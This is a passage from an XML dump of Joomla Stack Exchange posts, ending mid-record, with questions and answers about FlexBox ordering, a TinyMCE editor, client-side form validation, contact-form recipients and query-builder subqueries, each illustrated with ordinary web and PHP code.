  <row Id="24140" PostTypeId="2" ParentId="23962" CreationDate="2019-01-26T13:45:51.593" Score="0" Body="&lt;p&gt;It would really help to know which template you are using.  But the best way to do this in my opinion is by using FlexBox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would need to identify each part in the source code somehow. e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;parent container class=&quot;container&quot;&#xA;LEFT class=&quot;left&quot; - COMPONENT class=&quot;component&quot; - RIGHT class=&quot;right&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you can do something like&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;custom.css&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.container {&#xA;  display: flex;&#xA;}&#xA;.left {&#xA;  order: 3;&#xA;}&#xA;.component {&#xA;  order: 2;&#xA;}&#xA;.right {&#xA;  order: 1;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is a useful resource on FlexBox &lt;a href=&quot;https://css-tricks.com/snippets/css/a-guide-to-flexbox/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://css-tricks.com/snippets/css/a-guide-to-flexbox/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is example code working:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://codepen.io/Balloony/pen/BMjeVL&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://codepen.io/Balloony/pen/BMjeVL&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2019-01-26T13:45:51.593" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24141" PostTypeId="1" CreationDate="2019-01-26T14:54:54.647" Score="0" ViewCount="624" Body="&lt;p&gt;In my custom component form I have a text field that I want users to have the ability to add very simple styling to. I'm thinking bold, italic and link buttons. Is it possible to create and configure or load a TinyMCE profile that would be used by my component and fall back to a blank text editor if TinyMCE isn't active? &lt;/p&gt;&#xA;" OwnerUserId="11406" LastActivityDate="2019-03-10T14:02:10.437" Title="How can I load a minimal editor in a custom component form?" Tags="|joomla-3.x|editor|tinymce|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="24142" PostTypeId="2" ParentId="24141" CreationDate="2019-01-27T09:27:58.017" Score="1" Body="&lt;p&gt;You can configure a customized editor in your component (we could write a long tale about that), however what I would do is just creating a simple textarea in your Joomla Form like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;mytextarea1&quot; type=&quot;textarea&quot; default=&quot;default&quot; class=&quot;mytextarea1&quot; label=&quot;Enter some text&quot; description=&quot;&quot; rows=&quot;10&quot; cols=&quot;5&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you should add a short script in the head of the page (you can load this in your layout of the component).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;head&amp;gt;&#xA;&#xA;    &amp;lt;script src='https://cloud.tinymce.com/stable/tinymce.min.js'&amp;gt;&amp;lt;/script&amp;gt;&#xA;    &amp;lt;script&amp;gt;&#xA;        tinymce.init({&#xA;            selector: '.mytextarea1'&#xA;        });&#xA;    &amp;lt;/script&amp;gt;&#xA;&#xA;&amp;lt;/head&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And it's actually done. You will have a nice tiny light editor field. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can set a lot of things in &lt;code&gt;tinymce.init({});&lt;/code&gt; after this. It's better to have an API key at tinymce. Also the submit button has to be fine tuned for your component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Much more information about configurations and use of this here:&#xA;&lt;a href=&quot;https://www.tiny.cloud/docs/quick-start/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.tiny.cloud/docs/quick-start/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and here: &lt;a href=&quot;https://www.tiny.cloud/docs/general-configuration-guide/basic-setup/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.tiny.cloud/docs/general-configuration-guide/basic-setup/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can try this with creating a simple html page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;&#xA;&amp;lt;html lang=&quot;en&quot;&amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;&#xA;    &amp;lt;script src='https://cloud.tinymce.com/stable/tinymce.min.js'&amp;gt;&amp;lt;/script&amp;gt;&#xA;    &amp;lt;script&amp;gt;&#xA;        tinymce.init({&#xA;            selector: '#mytextarea1'&#xA;        });&#xA;    &amp;lt;/script&amp;gt;&#xA;&#xA;&amp;lt;/head&amp;gt;&#xA;&amp;lt;body&amp;gt;&#xA;&#xA;&amp;lt;h1&amp;gt;TinyMCE Quick Start Guide&amp;lt;/h1&amp;gt;&#xA;&amp;lt;form method=&quot;post&quot;&amp;gt;&#xA;    &amp;lt;textarea id=&quot;mytextarea1&quot;&amp;gt;Hello, World!&amp;lt;/textarea&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;submit&quot; &amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&#xA;&amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2019-01-27T11:36:57.283" LastActivityDate="2019-01-27T11:36:57.283" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24143" PostTypeId="2" ParentId="1079" CreationDate="2019-01-27T11:16:02.320" Score="1" Body="&lt;p&gt;Just to clear up a possible misconception about the script in the question...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$result = $db-&amp;gt;loadResult();&lt;/code&gt; does not have an active/necessary role to play in the process.  &lt;code&gt;$result&lt;/code&gt; is not be used after it is declared and it does not &quot;set up&quot; &lt;code&gt;loadRow()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for how to echo out each column value, I'll recommend &lt;code&gt;implode()&lt;/code&gt; as the most concise method.  In doing so, it won't matter if you build your result set from &lt;code&gt;loadRow()&lt;/code&gt; or &lt;code&gt;loadAssoc()&lt;/code&gt; because &lt;code&gt;implode()&lt;/code&gt; will ignore the keys.  What DOES matter is the columns that you write into your SELECT clause -- this will dictate exactly which columns are presented.  It is unlikely that you will want to display ALL of the columns so &lt;code&gt;*&lt;/code&gt; should be swapped out for literal column declarations (either as a comma separated string or an array of strings).  The snippet to follow will work flawlessly even if you only select a single column (and generate a one dimensional result set).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$db-&amp;gt;loadRow()&lt;/code&gt; with &lt;code&gt;implode()&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (!$row = $db-&amp;gt;loadRow()) {  // declare and check&#xA;    echo &quot;No Row Found&quot;;&#xA;} else {&#xA;    echo '&amp;lt;table&amp;gt;';&#xA;        echo '&amp;lt;tr&amp;gt;';&#xA;            echo '&amp;lt;td&amp;gt;' , implode('&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;', $row) , '&amp;lt;/td&amp;gt;';&#xA;        echo '&amp;lt;/tr&amp;gt;';&#xA;    echo '&amp;lt;/table&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you would like to display a row of column headings, then use &lt;code&gt;loadAssoc()&lt;/code&gt; to generate the result set. If you wish to adjust one or more column headings to be printed to screen, use a &quot;column alias&quot; where appropriate in the SELECT clause of your query.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (!$row = $db-&amp;gt;loadAssoc()) {  // declare and check&#xA;    echo &quot;No Row Found&quot;;&#xA;} else {&#xA;    echo '&amp;lt;table&amp;gt;';&#xA;        echo '&amp;lt;tr&amp;gt;';&#xA;            echo '&amp;lt;th&amp;gt;' , implode('&amp;lt;/th&amp;gt;&amp;lt;th&amp;gt;', array_keys($row)) , '&amp;lt;/th&amp;gt;';&#xA;        echo '&amp;lt;/tr&amp;gt;';&#xA;        echo '&amp;lt;tr&amp;gt;';&#xA;            echo '&amp;lt;td&amp;gt;' , implode('&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;', $row) , '&amp;lt;/td&amp;gt;';&#xA;        echo '&amp;lt;/tr&amp;gt;';&#xA;    echo '&amp;lt;/table&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-02-01T21:46:46.443" LastActivityDate="2019-02-01T21:46:46.443" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24144" PostTypeId="1" AcceptedAnswerId="24145" CreationDate="2019-01-27T13:50:25.140" Score="1" ViewCount="949" Body="&lt;p&gt;I'm working on a JForm with some fields with custom event handlers to do client side form validation as it is described in this &lt;a href=&quot;https://docs.joomla.org/Client-side_form_validation&quot; rel=&quot;nofollow noreferrer&quot;&gt;document&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The document says that &quot;Joomla adds a blur handler to validate the form field when the user moves away from the field.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I type something in the text field and press tab or click another field, my custom event handler is called and everything works fine. However when &lt;strong&gt;I enter the field and then leave the field without typing anything, or enter the field, type something, delete it and then leave the field&lt;/strong&gt;: the event handler is not called at all, so I cannot display any warning for the user. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How could I make sure that my custom event handler is called even in these cases?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The sources: &#xA;The form xml (not complete):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form&amp;gt;&#xA;    &amp;lt;fields name=&quot;main&quot;&amp;gt;&#xA;        &amp;lt;fieldset name=&quot;basic&quot; addfieldpath=&quot;/modules/mod_gngcontactmultiloc/models/fields&quot;&amp;gt;&#xA;            &amp;lt;field&#xA;                name=&quot;Email&quot;&#xA;                type=&quot;text&quot;&#xA;                label=&quot;MOD_GNGCONTACT_EMAIL&quot;&#xA;                size=&quot;20&quot;&#xA;                maxlenght=&quot;100&quot;&#xA;                class=&quot;validate-myemail gngcontact&quot;&#xA;            /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the template file (not complete):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php &#xA;    // No direct access&#xA;    defined('_JEXEC') or die;&#xA;    JHtml::_('behavior.formvalidator');&#xA;    JHtml::_('behavior.tooltip');&#xA;    ?&amp;gt;&#xA;    &amp;lt;script&amp;gt;&#xA;&#xA;        jQuery(document).ready(function(){&#xA;           document.formvalidator.setHandler('myemail', function(value) {&#xA;              alert(&quot;hello&quot;);&#xA;              regex=/^(([^&amp;lt;&amp;gt;()\[\]\\.,;:\s@&quot;]+(\.[^&amp;lt;&amp;gt;()\[\]\\.,;:\s@&quot;]+)*)|(&quot;.+&quot;))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;&#xA;              var result = regex.test(value);&#xA;              if (result) {&#xA;                document.getElementById(&quot;msg-main[Email]&quot;).style.display = 'none';&#xA;              } &#xA;              else &#xA;              {&#xA;                document.getElementById(&quot;msg-main[Email]&quot;).style.display = 'block';&#xA;              };&#xA;              return result;&#xA;           });&#xA;        }); &#xA;&#xA;...&#xA;&#xA;&amp;lt;form method=&quot;post&quot; id=&quot;contactForm&quot; name=&quot;contactForm&quot; class=&quot;form-validate gngcontact&quot;&amp;gt;&#xA;... &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The alert in the above code is display if I leave the field after typing somthing, but not displayed in the scenarios described with bold above. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&#xA;@Zollie 's final conclusion is right, using the &quot;required&quot; attribute the standard Joomla validation kicks in even in this special case and changes the field into red. Unfortunately this was not sufficient for me as I wanted to have a custom validation icon and message displayed by a custom event handler and it seems that the custom event handler is not called in this special case. Therefore I had to implement my client side validation from scratch not using the built in Joomla mechanism.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, &#xA;W. &lt;/p&gt;&#xA;" OwnerUserId="12966" LastEditorUserId="12966" LastEditDate="2019-01-29T20:05:44.573" LastActivityDate="2019-01-29T20:05:44.573" Title="Client side validation - custom event handler not called when user enters the field and leaves it being empty" Tags="|joomla-3.x|javascript|jform|validation|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24145" PostTypeId="2" ParentId="24144" CreationDate="2019-01-27T14:15:44.443" Score="3" Body="&lt;p&gt;I deleted my earlier answer, since it was on some points true but not exactly answered the question. My mind was &lt;strong&gt;blurred&lt;/strong&gt; by the question. :) The question is very tricky. Why?&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Because in the question the linked Joomla document clearly states that in order to have the validation jQuery functions ignited on your Form, &lt;strong&gt;you have to add the form-validate&lt;/strong&gt; class to your &lt;strong&gt;Form&lt;/strong&gt; like:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form class=&amp;quot;form-validate&amp;quot;&amp;gt; ... &amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now, I do not see anything mentioned about this in the question. In the question you see a form &lt;strong&gt;Field&lt;/strong&gt; but you &lt;strong&gt;do not see the whole Form itself&lt;/strong&gt;. You see, it's tricky because this way 'you will never find out' what the real problem is and if the &lt;strong&gt;Form&lt;/strong&gt; has the important class added or not finally. We now only know that the Blur event is not working on the Form field. And we concentrate on the field and on the script. But not on the &lt;strong&gt;From&lt;/strong&gt; itself. Thus the blur effect starts to work on us.:)&lt;/p&gt;&#xA;&lt;p&gt;It's true that something may happen on the field, some validation when you give the &lt;strong&gt;field&lt;/strong&gt; &lt;code&gt;validate-email&lt;/code&gt; class name for example, but according to the document you have to also give the class &lt;code&gt;form-validate&lt;/code&gt; to the &lt;strong&gt;Form&lt;/strong&gt; itself too.&lt;/p&gt;&#xA;&lt;p&gt;And if the correct class is added to the &lt;strong&gt;Form&lt;/strong&gt; then we could see if the script is wrong or not, or whether it is checking any field against emptiness. Since in the given script in the question, it does not look like that the function checks &lt;strong&gt;against empty Form fields&lt;/strong&gt; anyway.&lt;/p&gt;&#xA;&lt;p&gt;So the above might be the reason of not seeing the blur event happen &lt;strong&gt;on the Form.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;And I just leave this short function below if anybody needs empty field checking on any Form field. :)&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;As an extra mile :)&lt;/strong&gt; I wrote the blur ignited function in jQuery which could be also built in the original Joomla script above, but I just give it as standalone (I tested this too and it works on blur on input field if the field left empty)&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;.myformfieldclass&lt;/code&gt; should be changed to your input field class name.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;    &#xA;    jQuery('.myformfieldclass').on(&amp;quot;blur&amp;quot;, function(){&#xA;        if(jQuery.trim($(this).val()) === ''){&#xA;            alert('Input field can not be left blank');&#xA;        }&#xA;    });&#xA;&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt; &lt;strong&gt;- ON JOOMLA HANDLER AND BLUR FUNCTION&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now, we could just leave this subject for good, since I do not see any urgent reason to solve this question, which could be handled simply by few lines of code within minutes, but just for fun in coffee break, &lt;strong&gt;I checked the Form validation javascript of Joomla&lt;/strong&gt; and I've found the valid script (thanks to @Lodder too for pointing to the file, I was lazy to search for that). &lt;strong&gt;This is a totally different script what was given in the question basically&lt;/strong&gt;, so I still do not know where that script is coming from in the poster' question. This is how Joomla checks the validity of an email input field if validation is set:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;// Default handlers&#xA;setHandler('email', function(value, element) {&#xA;            value = punycode.toASCII(value);&#xA;            var regex = /^[a-zA-Z0-9.!#$%&amp;amp;'*+/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/;&#xA;            return regex.test(value);&#xA;        });&#xA;        // Attach to forms with class 'form-validate'&#xA;        var forms = jQuery('form.form-validate');&#xA;        for (var i = 0, l = forms.length; i &amp;lt; l; i++) {&#xA;            attachToForm(forms[i]);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;Now in the above script&lt;/strong&gt;, you can see clearly two things. The function is attached &lt;strong&gt;to Forms&lt;/strong&gt; which has the class &lt;code&gt;form-validate&lt;/code&gt;. That is OK. You can also see that the default email field handler function does not check if the field is empty or not. I still do not see that in the above. Or can anybody confirm that this regex can filter an empty field? Not, but, before this check, there is an html5 validation too on the fields and after that the set &lt;strong&gt;Handler&lt;/strong&gt; validates the field.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Now let's see&lt;/strong&gt; where Joomla attaches the input fields to &lt;code&gt;blur events&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;In this function:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;            // Attach validate method only to fields&#xA;            else if (tagName !== 'button' &amp;amp;&amp;amp; !(tagName === 'input' &amp;amp;&amp;amp; $el.attr('type') === 'button')) {&#xA;                if ($el.hasClass('required')) {&#xA;                    $el.attr('aria-required', 'true').attr('required', 'required');&#xA;                }&#xA;                if (tagName !== 'fieldset') {&#xA;                    $el.on('blur', function() {&#xA;                        return validate(this);&#xA;                    });&#xA;                    if ($el.hasClass('validate-email') &amp;amp;&amp;amp; inputEmail) {&#xA;                        elements[i].setAttribute('type', 'email');&#xA;                    }&#xA;                }&#xA;                inputFields.push($el);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;And if&lt;/strong&gt; the input field class is set to validate:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;// Only validate the field if the validate class is set&#xA;handler = ($el.attr('class') &amp;amp;&amp;amp; $el.attr('class').match(/validate-([a-zA-Z0-9\_\-]+)/)) ? $el.attr('class').match(/validate-([a-zA-Z0-9\_\-]+)/)[1] : &amp;quot;&amp;quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;From the above short two scripts you can also see quite clearly that all of the &lt;code&gt;input fields&lt;/code&gt; which is set to &lt;code&gt;required&lt;/code&gt; (and if validate is set in class name and not button and fieldset), so all of these input fields, are sent to validate &lt;strong&gt;on blur&lt;/strong&gt;! &lt;strong&gt;Bound to the Blur event&lt;/strong&gt;. So there is no question about &lt;strong&gt;whether blur ignites or not on these fields.&lt;/strong&gt; These input fields are bound to blur event, no escape.&lt;/p&gt;&#xA;&lt;p&gt;So, I still do not understand where the problem is coming from which is explained in the original question. However it can happen that I overlooked on something in this file. I did not have too much time.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;But if anybody&lt;/strong&gt; can find something interesting, please be my guest: :)&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/media/system/js/validate-uncompressed.js&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/blob/staging/media/system/js/validate-uncompressed.js&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;FINALLY&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;The only way I could have checked the whole thing is with creating an email field and check whether the &lt;strong&gt;Joomla blur kicks in or not&lt;/strong&gt; if I click in the field and leave it empty then, without typing anything in the field. What I've found is &lt;strong&gt;that Joomla validation on blur only kicks in (if the field is left empty) when the field is set to &lt;code&gt;required validate-email&lt;/code&gt;.&lt;/strong&gt; So this is the only solution on this question. Joomla validation on blur kicks in on empty without problem if the field is &lt;code&gt;required&lt;/code&gt;, but only then.&lt;/p&gt;&#xA;&lt;p&gt;Here is my short recorded image on how it works:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/icYLQ.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/icYLQ.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;You can see that on blur the validation kicks in on empty field, no exception (if the field is required). If the field is not set to required, on blur nothing happens on empty.&lt;/p&gt;&#xA;&lt;p&gt;That's the final verdict on this subject. :) Joomla blur works.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2019-01-29T06:39:39.490" CommentCount="27" ContentLicense="CC BY-SA 4.0" />
  <row Id="24147" PostTypeId="1" CreationDate="2019-01-27T20:51:26.860" Score="2" ViewCount="638" Body="&lt;p&gt;I am using Joomla and SP Page Builder. I have back-end side and front-end side. I would like to add multiple recipients for sent emails from my contact form. I have found related codes for sending emails. What should be edited to add multiple email addresses on my back-end? I have tried to play with  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$recipients = array(&#xA;  &quot;address@domain.com&quot;,&#xA;);&#xA;$email_to = implode(',', $recipients); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with no success&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my front-end code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$recipient_email = (isset($this-&amp;gt;addon-&amp;gt;settings-&amp;gt;recipient_email) &amp;amp;&amp;amp; $this-&amp;gt;addon-&amp;gt;settings-&amp;gt;recipient_email) ? $this-&amp;gt;addon-&amp;gt;settings-&amp;gt;recipient_email : '';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is what I have in back-end:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    'recipient_email'=&amp;gt;array(&#xA;        'type'=&amp;gt;'text',&#xA;        'title'=&amp;gt;JText::_('COM_SPPAGEBUILDER_ADDON_AJAX_CONTACT_RECIPIENT_EMAIL'),&#xA;        'desc'=&amp;gt;JText::_('COM_SPPAGEBUILDER_ADDON_AJAX_CONTACT_RECIPIENT_EMAIL_DESC'),&#xA;        'std'=&amp;gt;'email@yourdomain.com'&#xA;    ),&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13178" LastActivityDate="2019-10-04T14:55:01.323" Title="Add multiple recipient email addresses Joomla Page Builder" Tags="|php|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24148" PostTypeId="2" ParentId="15632" CreationDate="2019-01-28T02:48:11.837" Score="0" Body="&lt;p&gt;Terry Carter's solution does not provide the desired functionality / result set AND it is conveying the false notion that Joomla &quot;doesn't handle subqueries well&quot;.  While it is true that there is no method called &lt;code&gt;subQuery()&lt;/code&gt;, Joomla does provide a clean syntax for nesting queries inside of other queries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most glaring issue with Terry's query is that it disregards all persons that do not have a &lt;code&gt;BMW&lt;/code&gt; for sale.  This is not the desired logic described in the question.  The expected result set should include a row for &lt;code&gt;Mary&lt;/code&gt; which contains the lowest-priced non-BMW item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, my solution implements an INNER JOIN instead of a LEFT JOIN so that any names that exist in &lt;code&gt;persons&lt;/code&gt; which do not have a row in &lt;code&gt;cars&lt;/code&gt; will be excluded from the result set.  (If the opposite logic is desired, then of course use a LEFT JOIN.)  In other words, a LEFT JOIN will potentially generate rows with &lt;code&gt;NULL&lt;/code&gt; values in &lt;code&gt;make&lt;/code&gt;, &lt;code&gt;price&lt;/code&gt;,  and &lt;code&gt;color&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Raw SQL: (&lt;a href=&quot;https://www.db-fiddle.com/f/jFVVSvAHBwYFmcT1hGFBLP/0&quot; rel=&quot;nofollow noreferrer&quot;&gt;DB-Fiddle.com Demo&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT name, make, price, color&#xA;FROM persons p&#xA;INNER JOIN cars ON p.id = personid&#xA;WHERE price = IFNULL(&#xA;                  (SELECT MIN(price) FROM cars WHERE personid = p.id AND make = 'BMW'),&#xA;                  (SELECT MIN(price) FROM cars WHERE personid = p.id)&#xA;              )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Things to notice:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I did not add table aliases in the SELECT clause because there is no ambiguity to contend with.  In other words, because none of the nominated columns exist in both table, MySQL knows exactly what is intended and so no alarm bells go off.&lt;/li&gt;&#xA;&lt;li&gt;The same logic is applied to the first WHERE clause -- I could have written &lt;code&gt;c.price&lt;/code&gt;, but MySQL already knows which table to draw it from.&lt;/li&gt;&#xA;&lt;li&gt;Because &lt;code&gt;cars&lt;/code&gt; is never used to identify any columns in the query, I have elected to omit the alias &lt;code&gt;c&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;If you DO decide to declare the table alias &lt;code&gt;c&lt;/code&gt; and add &lt;code&gt;c.&lt;/code&gt; to each of its columns in the query, take special care to NOT write &lt;code&gt;c.make = 'BMW'&lt;/code&gt; in the first subquery because that will alter the logic and damage the results -- &lt;code&gt;make&lt;/code&gt; in this context needs to refer to the &lt;code&gt;make&lt;/code&gt; value within the subquery.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;IFNULL()&lt;/code&gt; is a wise choice for the query because effectively the second subquery is only executed if the first subquery returns no qualifying rows.  This condition block ensures that you get the lowest BMW value unless there is no BMW for the respective person in which case, you fallback to the lowest priced &quot;anything&quot; for that person.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now to use Joomla's query building methods to create the query... As with the great majority of my posts in this community, I'll package my snippet with a query dump and some diagnostic niceties to help researchers to understand and debug their own projects.  Please note, that you should never display generated queries nor mysql errors to the public because this can lead to naughty people refining malicious attacks on your system.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;try {&#xA;    $db = JFactory::getDbo();&#xA;&#xA;    $bmw_subquery = $db-&amp;gt;getQuery(true)&#xA;                       -&amp;gt;select(&quot;MIN(price)&quot;)&#xA;                       -&amp;gt;from(&quot;cars&quot;)&#xA;                       -&amp;gt;where(&quot;personid = p.id&quot;)&#xA;                       -&amp;gt;where(&quot;make = &quot; . $db-&amp;gt;q(&quot;BMW&quot;));&#xA;&#xA;    $all_subquery = $db-&amp;gt;getQuery(true)&#xA;                       -&amp;gt;select(&quot;MIN(price)&quot;)&#xA;                       -&amp;gt;from(&quot;cars&quot;)&#xA;                       -&amp;gt;where(&quot;personid = p.id&quot;);&#xA;&#xA;    $query = $db-&amp;gt;getQuery(true)&#xA;                -&amp;gt;select(&quot;name, make, price, color&quot;)&#xA;                -&amp;gt;from(&quot;persons p&quot;)&#xA;                -&amp;gt;innerJoin(&quot;cars ON p.id = personid&quot;)&#xA;                -&amp;gt;where(&quot;price = IFNULL(($bmw_subquery), ($all_subquery))&quot;);&#xA;&#xA;    $db-&amp;gt;setQuery($query);&#xA;    JFactory::getApplication()-&amp;gt;enqueueMessage($query-&amp;gt;dump(), 'info');&#xA;    if (!$result = $db-&amp;gt;loadAssocList()) {&#xA;        echo &quot;&amp;lt;p&amp;gt;No Rows Found&amp;lt;/p&amp;gt;&quot;;&#xA;    } else {&#xA;        echo &quot;&amp;lt;pre&amp;gt;&quot;;&#xA;        var_export($result);&#xA;        echo &quot;&amp;lt;/pre&amp;gt;&quot;;&#xA;    }&#xA;} catch (Exception $e) {&#xA;    JFactory::getApplication()-&amp;gt;enqueueMessage(&quot;Query Syntax Error: &quot; . $e-&amp;gt;getMessage(), 'error');  // don't show $e-&amp;gt;getMessage() to public&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will serve up the rendered query described above and the desired result set:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;array (&#xA;  0 =&amp;gt; &#xA;  array (&#xA;    'name' =&amp;gt; 'Peter',&#xA;    'make' =&amp;gt; 'BMW',&#xA;    'price' =&amp;gt; '6000',&#xA;    'color' =&amp;gt; 'white',&#xA;  ),&#xA;  1 =&amp;gt; &#xA;  array (&#xA;    'name' =&amp;gt; 'Paul',&#xA;    'make' =&amp;gt; 'BMW',&#xA;    